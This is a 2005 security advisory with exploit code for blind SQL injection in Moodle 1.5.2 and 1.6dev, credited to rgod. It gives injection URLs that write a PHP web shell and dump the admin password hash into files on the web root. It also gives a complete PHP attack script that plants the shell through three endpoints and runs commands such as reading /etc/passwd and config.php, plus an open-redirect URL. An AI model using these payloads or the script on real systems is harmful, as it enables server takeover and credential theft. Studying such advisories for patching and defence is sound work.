Moodle <=1.6dev blind SQL Injection

2005.11.11
Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

5.02 10/11/2005 Moodle <=1.6dev blind SQL Injection / Remote commands/code execution / xss software: site: http://moodle.org/ description: "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators create effective online learning communities.[..]" I) tested: vulnerable versions: Moodle 1.5.2 ( Latest release /released on 16th July 2005) " 1.5.2 ( Latest stable branch /built daily) not vulnerable: Moodle 1.6dev ( Latest Development /built daily) vulnerable code: "get_record()" function in datalib.php, if a var is not properly sanitized before to be passed as argument to it, if magic_quotes_gpc off, we have SQL injection,poc: [1] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%200,'<? php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../w ww/moodle/shell.php'%20FROM%20mdl_course_categories/* [2] http://[target]/[path]/course/info.php?id='UNION%20SELECT%200,0,0,0,'<?p hp%20system($_GET[cmd]);%20?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%2 0mdl_course/* now in shell.php we have something like: 00000<?php system($_GET[cmd]); ?>000000 so you can launch commands, ex.: http://[target]/[path]/shell.php?cmd=cat%20config.php or you can have any admin/user MD5 password hash, poc: [3] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%20'',pa ssword,'','','','','',''%20INTO%20DUMPFILE%20'../../www/moodle/password. txt'%20FROM%20mdl_user%20WHERE%20username='admin'/* then go to: http://[target]/[path]/password.txt II) tested: vulnerable: Moodle 1.6dev ( Latest Development /built daily) if magic_quotes_gpc is off, you can see at screen any user/admin MD5 password hash, poc: http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user= 'or%20isnull(1/0)/* ...and inject a shell: http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user= 'UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,'<?php%20system($_GET[cmd]);%20?>%20',0,0,0,0,0,0,0,0%20IN TO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_user/* this is the exploit code for [I.1], [I.2] and [III]: <?php # moodle16dev_xpl.php 4.19 10/11/2005 # # # # Moodle <= 1.6dev get record() SQL injection / # # / remote commands execution # # by rgod # # site: http://rgod.altervista.org # # # # usage: launch from Apache, fill in requested fields, then go! # # # # make these changes in php.ini if you have troubles # # with this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # Sun-Tzu:"If your opponent is of choleric temper, seek to irritate him. # # Pretend to be weak, that he may grow arrogant." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<html><head><title>Moodle 1.6dev SQL Injection /remote cmmnds xctn</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6"> Moodle <= 1.6dev remote commands xcution </p><p class=" Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank"> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host= value&port=value&command=value&proxy=value"><p><input type="text" name="host"> <span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input type="text" name="path"><span class="Stile5"> path ( ex: /moodle/ or just /) </span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement (default: ../../www) </span></p><p><input type="text" name="port" > <span class="Stile5"> specify a port other than 80 (default value)</span> </p><p> <input type="text" name="command"> <span class="Stile5">a Unix command , example: ls -la to list directories, cat /etc/passwd to show passwd file, cat config.php to see database username and password</span> </p><p><input type="text" name="proxy"><span class="Stile5">send exploit through an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit" value="go!"></p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else //fixed some errors in this function { if ($proxy=='') { echo "Attempting to connect to ".$host." on port ".$port."...<br>"; $result = socket_connect($socket, $host, $port); } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...';die;} $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen($host,$port); if (!$ock) { echo 'No response from '.htmlentities($host).' ...'; die;} } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die;} } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } function execute_commands() { global $p, $host, $port, $packet, $command, $html; $packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1rn"; $packet.="Host: ".$host.":".$port."rn"; $packet.="Connection: CLosernrn"; show($packet); sendpacketii($packet); if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; } else {echo "Exploit failed...";} } if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($pathtoWWW=='') {$pathtoWWW="../../www";} #default, path for "INTO OUTFILE '[path][file]', two dirs up from mysql data directory, change it for #different installations if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $SHELL="<?php error_reporting(0);ini_set("max_execution_time",0);echo "Hi Master ";system($_GET[cmd]);?>"; $SQL="'UNION SELECT 0,'".$SHELL."',0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course_categories/*"; $SQL=urlencode($SQL); $packet="GET ".$p."course/category.php?id=".$SQL." HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); execute_commands(); $SQL="'UNION SELECT 0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course/*"; $SQL=urlencode($SQL); $packet="GET ".$p."course/info.php?id=".$SQL." HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); execute_commands(); $SQL="'UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$ SHELL."',0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_user/*"; $SQL=urlencode($SQL); $packet="GET ".$p."iplookup/ipatlas/plot.php?address=127.0.0.1&user=".$SQL." HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); execute_commands(); } else {echo 'Fill in requested fields, optionally specify a proxy';} ?> III) you can craft a malicious url to redirect a user to an arbitrary location: http://[target]/[path]/course/jumpto.php?jump=http://www.evilsite.com rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/moodle16dev.html


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